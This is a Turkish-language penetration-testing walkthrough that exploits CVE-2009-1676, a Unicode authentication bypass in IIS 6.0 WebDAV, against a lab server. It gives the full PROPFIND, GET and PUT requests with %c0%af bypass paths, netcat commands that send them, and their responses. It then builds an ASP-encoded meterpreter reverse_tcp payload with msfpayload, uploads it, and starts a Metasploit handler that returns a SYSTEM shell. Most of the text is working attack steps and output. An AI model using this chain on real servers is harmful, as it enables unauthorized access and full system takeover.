Kimlik Doğrulama Gerektiren Webdav Dizinleri
dizini Windows Auth. gerektiren bir dizin. Bu dizine ve altındaki dosyalara erişim için yetkili bir kullanıcı hesabı ile kimlik doğrulama yapmak gerekmektedir.
WEBDAV Zayıflıkları
Unicode Bypass
CVE-2009-1676 güvenlik bülteni ile Microsoft IIS 6.0 web sunucusunun dosya paylaşımı için kullandığı “Webdav” servisinde uzakdan kimlik doğrulamayı bypass eden bir zaafiyet bulunduğu duyuruldu.
Kimlik doğrulama gerektiren, adresine, unicode kod kullanarak bypass işlemi uygulayabiliriz.
/gizli dizinini listelemek için hazırlanan özel içerik, listele.txt ;
# cat listele.txt
PROPFIND /gi%c0%afzli/ HTTP/1.1
Connection: TE
TE: trailers
Host: 192.168.1.5
Depth: 1
Content-Length: 288
Content-Type: application/xml
<?xml version=”1.0″ encoding=”utf-8″?>
<propfind xmlns=”DAV:”><prop>
<getcontentlength xmlns=”DAV:”/>
<getcontentfied xmlns=”DAV:”/>
<executable xmlns=”http://apache.org/dav/props/”/>
<resourcetype xmlns=”DAV:”/>
<checked-in xmlns=”DAV:”/>
<checked-out xmlns=”DAV:”/>
</prop></propfind>
Bu içeriği netcat aracılığı ile karşı tarafa gönderildiğinde, kimlik doğrulama bypass edilerek hedef dizin listelenebilinir;
# nc -vv 192.168.1.5 80 < listele.txt
192.168.1.5: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.5] 80 (www) open
HTTP/1.1 207 Multi-Status
Date: Tue, 10 May 2011 10:05:21 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/xml
Transfer-Encoding: chunked
546
<?xml version=”1.0″?><a:multistatus xmlns:b=”urn:uuid:c2f41010-65b3-11d1-a29f-00aa00 c14882/” xmlns:d=”http://apache.org/dav/props/” xmlns:c=”xml:” xmlns:a=”DAV:”><a:res ponse><a:href>http://192.168.1.5/gizli/</a:href><a:propstat><a:status>HTTP/1.1 200 O K</a:status><a:prop><a:getcontentlength b:dt=”int”>0</a:getcontentlength><a:resource type><a:collection/></a:resourcetype></a:prop></a:propstat><a:propstat><a:status>HTT P/1.1 404 Resource Not Found</a:status><a:prop><a:getcontentfied/><d:executable/><a:checked-in/><a:checked-out/></a:prop></a:propstat></a:response><a:response><a:href>http://192.168.1.5/gizli/belge.txt</a:href><a:propstat><a:status>HTTP/1.1 200 OK</a:status><a:prop><a:getcontentlength b:dt=”int”>36</a:getcontentlength><a:resourcetype/></a:prop></a:propstat><a:propstat><a:status>HTTP/1.1 404 Resource Not Found</a:status><a:prop><a:getcontentfied/><d:executable/><a:checked-in/><a:checked-out/></a:prop></a:propstat></a:response><a:response><a:href>http://192.168.1.5/gizli/index.asp</a:href><a:propstat><a:status>HTTP/1.1 200 OK</a:status><a:prop><a:getcontentlength b:dt=”int”>0</a:getcontentlength><a:resourcetype/></a:prop></a:propstat><a:propstat><a:status>HTTP/1.1 404 Resource Not Found</a:status><a:prop><a:getcontentfied/><d:executable/><a:checked-in/><a:checked-out/></a:prop></a:propstat></a:response></a:multistatus>
0
/gizli/belge.txt içeriğini okumak için hazırlanan özel içerikte, yine kimlik doğrulamayı bypass etmek için unicode kullanılabilir;
# cat oku.txt
GET /gi%c0%afzli/belge.txt HTTP/1.1
Translate: f
Connection: close
Host: 192.168.1.5
# nc -vv 192.168.1.5 80 < oku.txt
192.168.1.5: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.5] 80 (www) open
HTTP/1.1 200 OK
Connection: close
Date: Tue, 10 May 2011 09:55:45 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/plain
Content-Length: 36
ETag: “16a0252ee7ecc1:1e7”
Last-Modified: Tue, 10 May 2011 07:52:16 GMT
Accept-Ranges: bytes
burada yazilanlar gizli bilgilerdir.
İçerik Yazmak İçin
Msfpayload ve msfencoder kullanarak meterpreter payloadını ters bağlantı kuracak şekilde oluşturup ve asp olarak çalışması için encode edebiliriz. Farklı bir asp web shell yazılımıda tercih edilebilinir.
Reverse Shell ile Sistem Yönetimini Ele Geçirme
Metasploit ile asp formatına uygun olarak encode edilmiş meterpreter reverse shell oluşturabiliriz.
# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R | ./msfencode -t asp -o tcp443meterp.asp
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
tcp443meterp.asp dosyasının içeriğini karşı tarafa gönderelim, bunun için tcp443meterp.asp dosyasının içeriğini yaz.txt dosyasına ekletip içeriği hedefe gönderelim.
# cat tcp443meterp.asp >> /root/yaz.txt
#PUT /..%c0%af/gizli/mt.txt HTTP/1.1
Translate: f
Host: 192.168.1.5
Content-Length: 32
<%
Sub CnpnKLRtlY()
ZkMSe=Chr(77)&Chr(90)&Chr(144)&Chr(0)&Chr(3)&Chr(0)&Chr(0)&Chr(0)&Chr(4)&Chr(0)&Chr(0)&Chr(0)
…..
kodun devamı …
…..
Bu dosyayı webdav dizinine yazdıkdan sonra, get isteği göndererek tetikleyelim. Ve metasploit ile meterpreter ajanımızı karşılamak için dinleme moduna geçelim;
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.2:443
[*] Starting the payload handler…
[*] Sending stage (749056 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.2:443 -> 192.168.1.5:1064) at Tue May 10 06:58:24 -0400 2011
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
Ve hedefte SYSTEM yetkileri ile komut satırını ele geçirmiş olduk.